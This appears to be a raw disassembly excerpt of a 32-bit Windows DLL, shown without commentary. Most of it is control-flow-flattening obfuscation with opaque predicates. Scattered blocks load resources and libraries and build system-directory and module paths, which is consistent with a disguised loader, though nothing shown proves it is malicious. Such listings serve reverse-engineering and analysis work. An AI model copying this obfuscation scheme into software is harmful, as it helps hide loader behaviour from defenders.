mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
test cl, 1
sete dl
cmp dword [0x1005c978], 0xa
setl ah
setge al
and dl, al
or al, cl
and ah, cl
or ah, dl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0x2181e2be
mov edx, 0x50dd2f49
cmovne ecx, edx
test ah, ah
mov edx, ecx
mov esi, 0x2181e2be
cmovne edx, esi
jmp 0x10006a09
mov ecx, dword [0x1005c974]
lea eax, [ecx - 1]
imul eax, ecx
not al
or al, 0xfe
cmp al, 0xff
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x5aa03841
mov esi, 0x41419d46
cmovne edx, esi
test al, al
mov eax, edx
mov esi, 0x5aa03841
jmp 0x10006b5a
mov eax, dword [ebp - 0x2c]
mov dword [eax], 2
mov eax, 0xd502b629
jmp 0x10001308
mov eax, dword [ebp - 0x88]
cmp word [eax], 0x5c
setne byte [ebp - 0x60]
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x74316cf1
and eax, 0x8bce930e
or eax, edx
xor eax, 0x74316cf0
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x1005c978], 0xa
setl al
setge ch
mov cl, al
or al, ah
and ah, ch
and cl, dl
or cl, ah
xor ch, dl
xor al, 1
or al, ch
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x30adbad6
mov edi, 0x9181e772
cmovne eax, edi
test cl, cl
cmove eax, edi
test dl, dl
mov ecx, 0x30adbad6
cmove eax, ecx
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xb3541605
mov edx, eax
and edx, 0x4cabe9fa
or edx, ecx
xor edx, 0x4cabe9fb
and eax, 0xfffffffe
or eax, edx
xor eax, 0x8aefab5
xor eax, 0xf751054a
sete dl
setne ah
cmp dword [0x1005c978], 0xa
setge ch
setl al
mov cl, ch
xor ch, ah
and ah, al
and cl, dl
or cl, ah
or al, dl
xor al, 1
or al, ch
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xd32ca0ee
mov edi, 0xda842cf2
cmovne eax, edi
test cl, cl
cmove eax, edi
test dl, dl
mov ecx, 0xd32ca0ee
cmove eax, ecx
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
mov edi, 0xaa2730a6
mov ebx, 0xd6bc3e75
cmovne edi, ebx
test dl, cl
mov ecx, 0xaa2730a6
cmove edi, ecx
cmovne edi, ebx
test al, al
cmovne edi, ebx
mov eax, edi
jmp 0x10001308
mov eax, dword [ebp - 0x34]
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x34bfe6bb
mov edx, eax
and edx, 0xcb401944
or edx, ecx
xor edx, 0xcb401945
and eax, 0xfffffffe
or eax, edx
xor eax, 0x110bdd29
xor eax, 0xeef422d6
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
mov ch, ah
xor ch, cl
and ch, ah
and dl, al
and ah, cl
or ah, dl
mov al, ah
xor al, ch
test ah, ah
mov edx, 0x7a0c6cfc
mov edi, 0x4798af08
cmovne edx, edi
test ch, ch
mov ecx, 0x7a0c6cfc
jmp 0x10007e2b
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xdcdccc26
mov edx, eax
and edx, 0x232333d9
or edx, ecx
xor edx, 0x232333d8
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
setl dl
and dl, al
mov ch, al
inc ch
and ch, cl
or ch, dl
or cl, al
mov edx, ecx
xor dl, ch
test cl, cl
mov eax, 0xb6dde9dc
mov esi, 0x87b23fa6
cmovne eax, esi
test ch, ch
cmove eax, esi
test dl, dl
mov ecx, 0xb6dde9dc
cmove eax, ecx
jmp 0x10001308
mov eax, 0xbc3bf1a4
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx - 1]
imul eax, ecx
test al, 1
sete ch
cmp dword [0x1005c978], 0xa
setl cl
setge dh
mov bl, ch
and bl, dh
mov dl, cl
and dl, al
xor dh, al
or cl, ch
or dl, bl
xor cl, 1
or cl, dh
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xfe90875b
mov edi, 0x4fc40fe7
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, 1
mov eax, 0xfe90875b
jmp 0x10008402
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov word [ecx + eax*2], 0x5c
mov eax, 0x8af56c76
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
mov edi, 0xbfabc3c3
mov esi, 0x77d33582
cmovne edi, esi
not dl
test dl, cl
mov ebx, 0xbfabc3c3
cmove edi, ebx
test al, al
cmovne edi, esi
test dl, cl
cmovne edi, esi
mov eax, edi
jmp 0x10001308
mov eax, dword [ebp - 0x38]
mov eax, 0x3f42bddf
jmp 0x10001308
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [0x1005c9e4], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x5c]
push 0x1005c9b4
push 0
push dword [eax]
push dword [ecx]
call fcn.100309be
add esp, 0x10
mov dword [0x1005c8dc], eax
mov eax, 0x8b8e45f3
jmp 0x10001308
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp + 0x10]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp + 0xc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, 0x5d1ed152
jmp 0x10001308
mov eax, 0x2181e2be
jmp 0x10001308
mov eax, dword [ebp - 0x40]
cmp dword [eax], 8
sete byte [ebp - 0x64]
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc6bbf684
mov edx, eax
and edx, 0x3944097b
or edx, ecx
xor edx, 0x3944097a
and eax, 0xfffffffe
or eax, edx
xor eax, 0x34f2ccc7
xor eax, 0xcb0d3338
setne al
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and cl, ah
and dl, al
or dl, cl
or ah, al
mov al, ah
xor al, dl
test ah, ah
mov ecx, 0x1bc2b8f4
mov edi, 0x90838512
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0x1bc2b8f4
jmp 0x10008402
mov eax, 0x2d281a0d
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc9c401b1
mov edx, eax
and edx, 0x363bfe4e
or edx, ecx
xor edx, 0x363bfe4f
and eax, 0xfffffffe
or eax, edx
xor eax, 0x9facee0c
cmp eax, 0x605311f3
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov edi, 0xeb60c32d
mov eax, 0xa9c67c47
cmovne edi, eax
test cl, cl
mov eax, 0xeb60c32d
jmp 0x10008991
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x30]
push dword [eax]
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, 0x38b0124f
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
test cl, 1
sete dl
cmp dword [0x1005c978], 0xa
setl ah
setge al
and dl, al
or al, cl
and ah, cl
or ah, dl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0x97c98145
mov edx, 0x6084c8eb
cmovne ecx, edx
test ah, ah
mov edx, ecx
mov edi, 0x97c98145
cmovne edx, edi
test al, 1
jmp 0x10008c42
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x1005c9a4], eax
mov eax, 0xb50705dd
jmp 0x10001308
cmp dword [ebp - 0x90], 0
setne byte [ebp - 0x61]
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov edi, 0x196d6f92
mov eax, 0xa69950eb
cmovne edi, eax
test cl, cl
mov eax, 0x196d6f92
jmp 0x10008991
mov eax, dword [0x1005c974]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov edi, 0x2165cc72
mov eax, 0xda842cf2
cmovne edi, eax
test cl, cl
mov eax, edi
mov ecx, 0x2165cc72
cmovne eax, ecx
test dl, dl
cmovne eax, edi
jmp 0x10001308
mov eax, 0x54d44f53
jmp 0x10001308
mov eax, 0x260c437a
jmp 0x10001308
mov eax, dword [ebp - 0x14]
mov eax, 0x6749550d
jmp 0x10001308
mov eax, 0xd6a36bb8
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xf4cb80aa
and eax, 0xb347f55
or eax, edx
xor eax, 0xb347f54
xor ecx, eax
test ecx, eax
sete al
setne dl
cmp dword [0x1005c978], 0xa
setge ah
setl ch
mov cl, ch
xor cl, dl
and cl, ch
and ah, al
and ch, dl
or ch, ah
mov eax, ecx
xor al, ch
mov edx, 0x216501b0
mov esi, 0x2d281a0d
cmovne edx, esi
test ch, ch
mov eax, edx
cmovne eax, esi
jmp 0x10008499
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x48f807a7
and eax, 0xb707f858
or eax, edx
xor eax, 0xb707f859
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
mov ch, ah
xor ch, cl
and ch, ah
and dl, al
and ah, cl
or ah, dl
mov al, ch
xor al, ah
test ah, ah
mov edx, 0xf7768773
mov edi, 0x82eccf20
cmovne edx, edi
test ch, ch
mov ecx, 0xf7768773
cmove edx, ecx
test al, al
cmovne edx, edi
mov eax, edx
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x256871b5
mov edx, eax
and edx, 0xda978e4a
or edx, ecx
xor edx, 0xda978e4b
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete cl
cmp dword [0x1005c978], 0xa
setl dl
xor cl, dl
mov ch, cl
mov eax, 0xa9c67c47
mov edi, 0x4fef4161
cmovne eax, edi
not ch
test ch, dl
mov ebx, 0xa9c67c47
cmove eax, ebx
test cl, cl
cmovne eax, edi
test ch, dl
cmovne eax, edi
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
or ah, cl
xor dl, al
mov al, ah
xor al, dl
mov ecx, 0x5b4da34a
mov esi, 0x10bfd1ab
cmovne ecx, esi
test dl, dl
mov edx, ecx
mov esi, 0x5b4da34a
jmp 0x10008c3d
call fcn.10022021
test eax, eax
setne byte [ebp - 0x62]
mov eax, 0xe01af0a2
jmp 0x10001308
mov eax, 0x9a7950ea
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe94d3c51
and eax, 0x16b2c3ae
or eax, edx
xor eax, 0x16b2c3af
xor ecx, eax
test ecx, eax
setne al
sete dl
cmp dword [0x1005c978], 0xa
setl cl
setge ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xc1c7f990
mov edi, 0xa46bf531
cmovne ecx, edi
test al, al
cmove ecx, edi
test dl, dl
mov eax, 0xc1c7f990
jmp 0x10008402
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xcce01227
mov edx, eax
and edx, 0x331fedd8
or edx, ecx
xor edx, 0x331fedd9
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
mov ch, ah
xor ch, cl
and ch, ah
and dl, al
and ah, cl
or ah, dl
mov cl, ch
xor cl, ah
test ah, ah
mov eax, 0xa6c6d06f
mov edi, 0x8522dc49
cmovne eax, edi
test ch, ch
mov edx, 0xa6c6d06f
cmove eax, edx
test cl, cl
cmovne eax, edi
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xdd2a6b50
and eax, 0x22d594af
or eax, edx
xor eax, 0xdd2a6b51
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xe82e7a92
mov edi, 0xeb878f44
cmovne ecx, edi
test dl, dl
mov edx, 0xe82e7a92
cmovne ecx, edx
test al, al
cmove ecx, edi
mov eax, ecx
jmp 0x10001308
mov eax, 0x70c8dc8b
jmp 0x10001308
mov eax, 0x3cd1bacb
jmp 0x10001308
cmp dword [0x1005c9a4], 0
setne byte [ebp - 0x68]
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1796401e
mov edx, eax
and edx, 0xe869bfe1
or edx, ecx
xor edx, 0xe869bfe0
and eax, 0xfffffffe
or eax, edx
xor eax, 0xc9ee4e32
cmp eax, 0x3611b1cd
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, eax
xor dl, cl
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x5ebcb0cc
mov edi, 0xba2dc65f
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0x5ebcb0cc
jmp 0x10008402
mov eax, 0x784788a8
jmp 0x10001308
mov eax, 0xa69e7e98
jmp 0x10001308
mov eax, dword [ebp - 0x2c]
mov dword [eax], 2
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
mov ecx, 0xaa750ce8
mov edi, 0x6cc72d31
cmovne ecx, edi
test dl, dl
mov edx, ecx
mov edi, 0xaa750ce8
jmp 0x10008570
mov eax, 0xa3291f9e
jmp 0x10001308
mov eax, 0x29b92e5c
jmp 0x10001308
mov eax, 0xb4d331fa
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x466cf13a
and eax, 0xb9930ec5
or eax, edx
xor eax, 0x466cf13b
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov eax, 0xddfcaf88
mov edi, 0x97f44b4e
cmovne eax, edi
test cl, cl
mov ecx, eax
mov edi, 0xddfcaf88
cmovne ecx, edi
jmp 0x10007ac0
mov eax, 0x5aa7fcec
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, dl
xor al, ah
test dl, dl
mov ecx, 0x46096e9c
mov edi, 0xb4d331fa
cmovne ecx, edi
test ah, ah
mov edx, 0x46096e9c
cmovne ecx, edx
test al, al
cmove ecx, edi
mov eax, ecx
jmp 0x10001308
mov eax, 0xbdb53aef
jmp 0x10001308
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
cmp dword [eax], 0
mov eax, 0x5db8cd82
mov ecx, 0x6b1074d7
cmovg eax, ecx
jmp 0x10001308
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call fcn.1004c6c8
add esp, 8
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov ch, cl
xor ch, dl
test cl, cl
mov eax, 0xbc81be4a
mov edi, 0x596259ae
cmovne eax, edi
test dl, dl
mov edx, 0xbc81be4a
cmovne eax, edx
test ch, ch
cmove eax, edi
jmp 0x10001308
mov eax, 0xa878ccb
jmp 0x10001308
mov eax, dword [ebp - 0x4c]
mov eax, dword [0x1005c974]
lea edx, [eax - 1]
imul edx, eax
test dl, 1
sete ah
cmp dword [0x1005c978], 0xa
setl al
setge ch
and ch, ah
mov cl, al
and cl, dl
or cl, ch
mov edx, eax
xor dl, ah
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
mov edx, 0x6749550d
mov edi, 0x50118199
cmovne edx, edi
test al, al
mov eax, 0x6749550d
jmp 0x10008496
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call fcn.1004c6c8
add esp, 8
mov eax, 0x9a0a0888
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
xor al, dl
mov ch, dl
xor ch, cl
or dl, cl
xor dl, 1
or dl, ch
mov ecx, eax
xor cl, dl
test dl, dl
mov edx, 0x1bdaf105
mov edi, 0x7f962ebe
cmovne edx, edi
not cl
test al, 1
cmovne edx, edi
test cl, 1
mov eax, 0x1bdaf105
jmp 0x10008b80
mov eax, 0x89222c87
jmp 0x10001308
cmp byte [ebp - 0x66], 0
mov eax, 0x590b6ecb
mov ecx, 0x12c1aacd
cmovne eax, ecx
jmp 0x10001308
mov eax, dword [ebp - 0x20]
mov eax, 0xe2fe73a1
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x157fed5a
mov edx, eax
and edx, 0xea8012a5
or edx, ecx
xor edx, 0xea8012a4
and eax, 0xfffffffe
or eax, edx
xor eax, 0xe4fb8764
xor eax, 0x1b04789b
setne al
sete dl
cmp dword [0x1005c978], 0xa
setl cl
setge ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
mov edx, 0x41eb6634
mov edi, 0x50c1fc06
cmovne edx, edi
test cl, cl
mov ecx, 0x41eb6634
jmp 0x10008ae4
mov eax, 0x489a81aa
jmp 0x10001308
mov eax, 0x342358f0
jmp 0x10001308
mov eax, 0x594393f0
jmp 0x10001308
mov eax, dword [0x1005c8d0]
mov dword [ebp - 0xa8], eax
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x833f4b93
and eax, 0x7cc0b46c
or eax, edx
xor eax, 0x833f4b92
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, eax
xor dl, cl
or cl, al
mov eax, ecx
xor al, dl
mov eax, 0xbc98a6aa
mov edi, 0x368b6d20
cmovne eax, edi
test cl, cl
mov ecx, 0xbc98a6aa
jmp 0x100083fd
mov ecx, dword [0x1005c974]
lea eax, [ecx - 1]
imul eax, ecx
and eax, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
and cl, ch
or ch, al
and dl, al
or dl, cl
mov al, ch
xor al, dl
mov eax, 0x51716025
mov esi, 0xc7e583fc
cmovne eax, esi
test dl, dl
mov edx, eax
mov esi, 0x51716025
jmp 0x10008508
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
mov ecx, 0x70c8dc8b
mov esi, 0x407c4eff
cmovne ecx, esi
test dl, dl
mov edx, ecx
mov esi, 0x70c8dc8b
jmp 0x10008c3d
mov eax, 0x5a8cca2
jmp 0x10001308
cmp dword [ebp - 0xb4], 0
mov eax, 0x24ea1ee8
mov ecx, 0xfa42ec33
cmove eax, ecx
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
or ch, cl
xor dl, al
mov al, ch
xor al, dl
mov edi, 0xc363472a
mov eax, 0x488d885d
cmovne edi, eax
test dl, dl
mov eax, edi
mov edx, 0xc363472a
cmovne eax, edx
test ch, ch
cmovne eax, edi
jmp 0x10001308
mov eax, 0xef6adef6
jmp 0x10001308
push 0x104
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov dword [ebp - 0xb0], eax
mov eax, 0x6cc03ddd
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x79016189
and eax, 0x86fe9e76
or eax, edx
xor eax, 0x79016188
or eax, ecx
xor eax, 0xffffffff
sete cl
setne al
cmp dword [0x1005c978], 0xa
setl dl
xor al, dl
mov ah, dl
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, eax
xor cl, dl
test dl, dl
mov edx, 0xbdb53aef
mov edi, 0xf3ae30ef
cmovne edx, edi
test al, al
cmovne edx, edi
test cl, cl
mov eax, 0xbdb53aef
jmp 0x1000850d
mov eax, 0xb696fc3b
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx - 1]
imul eax, ecx
and eax, 1
sete dl
cmp dword [0x1005c978], 0xa
setge ch
setl dh
mov cl, dh
xor cl, al
and cl, dh
and ch, dl
and dh, al
or dh, ch
mov eax, ecx
xor al, dh
mov eax, 0xab9ff229
mov esi, 0xcfe2018
cmovne eax, esi
test dh, dh
mov edx, eax
cmovne edx, esi
test cl, cl
jmp 0x10008b80
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
setne cl
sete dl
cmp dword [0x1005c978], 0xa
setl al
setge ah
and dl, ah
and al, cl
or al, dl
or ah, cl
mov cl, ah
xor cl, al
mov ecx, 0xc4bfa2a1
mov edx, 0x71f67758
cmovne ecx, edx
test ah, ah
mov edx, 0xc4bfa2a1
jmp 0x1000816c
mov ecx, dword [0x1005c974]
lea eax, [ecx - 1]
imul eax, ecx
and eax, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
and cl, ch
and dl, al
or dl, cl
or ch, al
mov al, ch
xor al, dl
test ch, ch
mov ecx, 0xc563d19a
mov edi, 0xaa2730a6
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0xc563d19a
jmp 0x10008402
mov eax, dword [ebp - 0x88]
mov eax, 0x8891d764
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx - 1]
imul eax, ecx
and al, 1
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
mov ecx, 0xb9790208
mov edi, 0x337e22aa
cmovne ecx, edi
test al, al
mov eax, ecx
mov edi, 0xb9790208
cmovne eax, edi
test dl, dl
cmovne eax, ecx
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
not al
or al, 0xfe
cmp al, 0xff
sete cl
cmp dword [0x1005c978], 0xa
setl dl
xor cl, dl
mov ch, cl
not ch
mov eax, 0xb7eadd0e
mov edi, 0xe021c6aa
cmovne eax, edi
test ch, dl
mov edx, 0xb7eadd0e
cmove eax, edx
cmovne eax, edi
test cl, cl
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov dword [ebp - 0xb4], ecx
cmovne eax, edi
jmp 0x10001308
push 0x104
push dword [ebp - 0x80]
push dword [ebp - 0x84]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [ebp - 0x1c]
push 0x5c
push dword [ebp - 0x50]
call section..text
add esp, 8
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc2b1f88d
mov edx, eax
and edx, 0x3d4e0772
or edx, ecx
xor edx, 0x3d4e0773
and eax, 0xfffffffe
or eax, edx
xor eax, 0x3646e28a
cmp eax, 0xc9b91d75
sete cl
cmp dword [0x1005c978], 0xa
setl dl
xor cl, dl
mov ch, cl
not ch
mov eax, 0xfa02fca2
mov esi, 0xf3ee884
cmovne eax, esi
test ch, dl
mov edx, 0xfa02fca2
cmove eax, edx
cmovne eax, esi
test cl, cl
cmovne eax, esi
jmp 0x10001308
mov eax, dword [0x1005c974]
mov ecx, eax
not ecx
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x38b0124f
mov esi, 0xdbe927da
cmovne ecx, esi
test dl, dl
cmove ecx, esi
test al, al
mov eax, 0x38b0124f
jmp 0x10008402
mov eax, dword [0x1005c974]
lea ecx, [eax + 0x3db83f8a]
not ecx
imul ecx, eax
test cl, 1
sete ah
cmp dword [0x1005c978], 0xa
setge al
setl dl
and cl, dl
and al, ah
or al, cl
mov ecx, edx
xor cl, ah
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x51000882
mov edi, 0x90838512
cmovne edx, edi
test al, al
cmove edx, edi
test cl, cl
mov eax, 0x51000882
jmp 0x10008b80
push 0x104
push dword [ebp - 0x80]
push dword [ebp - 0x84]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [ebp - 0x1c]
push 0x5c
push dword [ebp - 0x50]
call section..text
add esp, 8
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, 0x3f950368
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x7716b5e8
and eax, 0x88e94a17
or eax, edx
xor eax, 0x7716b5e9
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
mov edi, 0x407c4eff
mov esi, 0x949a3576
cmovne edi, esi
not dl
test dl, cl
cmovne edi, esi
test al, al
mov eax, edi
cmovne eax, esi
test dl, cl
cmove eax, edi
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x505fa7ab
and eax, 0xafa05854
or eax, edx
xor eax, 0xafa05855
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x1005c978], 0xa
setl cl
setge dl
xor dl, al
mov ah, cl
xor ah, al
or cl, al
xor cl, 1
or cl, ah
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0xfca2a6d5
mov edi, 0xba2dc65f
cmovne ecx, edi
test dl, dl
cmovne ecx, edi
test al, al
mov eax, 0xfca2a6d5
jmp 0x10007ac2
mov eax, dword [ebp - 0x20]
mov ecx, dword [0x1005c974]
